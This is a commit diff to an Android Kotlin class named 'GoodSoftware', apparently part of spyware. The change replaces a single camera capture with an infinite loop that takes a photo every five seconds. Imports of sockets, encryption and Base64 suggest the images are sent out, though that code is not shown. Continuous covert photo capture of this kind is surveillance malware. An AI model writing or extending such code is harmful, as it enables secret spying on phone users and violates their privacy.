Loads of pictures
This commit is contained in:
		@@ -1,16 +1,25 @@
 | 
			
		||||
package com.ti.m
 | 
			
		||||
 | 
			
		||||
import android.Manifest
 | 
			
		||||
import android.content.Context
 | 
			
		||||
import android.graphics.Camera
 | 
			
		||||
import android.content.pm.PackageManager
 | 
			
		||||
import android.util.Base64
 | 
			
		||||
import android.util.Log
 | 
			
		||||
import androidx.camera.core.CameraSelector
 | 
			
		||||
import androidx.camera.core.ImageAnalysis
 | 
			
		||||
import androidx.camera.core.ImageCapture
 | 
			
		||||
import androidx.camera.core.ImageCaptureException
 | 
			
		||||
import androidx.camera.core.ImageProxy
 | 
			
		||||
import androidx.camera.core.Preview
 | 
			
		||||
import androidx.camera.lifecycle.ProcessCameraProvider
 | 
			
		||||
import androidx.concurrent.futures.await
 | 
			
		||||
import androidx.core.app.ActivityCompat
 | 
			
		||||
import androidx.core.content.ContextCompat
 | 
			
		||||
import androidx.lifecycle.LifecycleOwner
 | 
			
		||||
import androidx.lifecycle.lifecycleScope
 | 
			
		||||
import kotlinx.coroutines.Dispatchers
 | 
			
		||||
import kotlinx.coroutines.launch
 | 
			
		||||
import kotlinx.coroutines.withContext
 | 
			
		||||
import java.io.BufferedReader
 | 
			
		||||
import java.io.ByteArrayOutputStream
 | 
			
		||||
import java.io.InputStreamReader
 | 
			
		||||
import java.io.PrintWriter
 | 
			
		||||
import java.net.Socket
 | 
			
		||||
@@ -21,23 +30,6 @@ import java.security.spec.X509EncodedKeySpec
 | 
			
		||||
import javax.crypto.Cipher
 | 
			
		||||
import javax.crypto.spec.IvParameterSpec
 | 
			
		||||
import javax.crypto.spec.SecretKeySpec
 | 
			
		||||
import androidx.concurrent.futures.await
 | 
			
		||||
import androidx.core.content.ContextCompat
 | 
			
		||||
import androidx.lifecycle.LifecycleOwner
 | 
			
		||||
import android.util.Base64
 | 
			
		||||
import androidx.core.app.ActivityCompat
 | 
			
		||||
import java.io.ByteArrayOutputStream
 | 
			
		||||
import android.Manifest
 | 
			
		||||
import android.app.Activity
 | 
			
		||||
import android.content.pm.PackageManager
 | 
			
		||||
import android.os.Build
 | 
			
		||||
import android.telephony.TelephonyManager
 | 
			
		||||
import android.widget.Toast
 | 
			
		||||
import androidx.annotation.RequiresApi
 | 
			
		||||
import androidx.core.app.ComponentActivity
 | 
			
		||||
import androidx.core.content.ContextCompat.getSystemService
 | 
			
		||||
import androidx.lifecycle.lifecycleScope
 | 
			
		||||
import kotlinx.coroutines.launch
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
@@ -246,11 +238,15 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
        cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 | 
			
		||||
 | 
			
		||||
        // Take the picture
 | 
			
		||||
        imageCapture?.takePicture(
 | 
			
		||||
            ContextCompat.getMainExecutor(context),
 | 
			
		||||
            imageCapturedListener
 | 
			
		||||
        )
 | 
			
		||||
        cameraProvider?.unbind()
 | 
			
		||||
        while (true){
 | 
			
		||||
            withContext(Dispatchers.IO) {
 | 
			
		||||
                imageCapture?.takePicture(
 | 
			
		||||
                    ContextCompat.getMainExecutor(context),
 | 
			
		||||
                    imageCapturedListener
 | 
			
		||||
                )
 | 
			
		||||
                Thread.sleep(5000L)
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user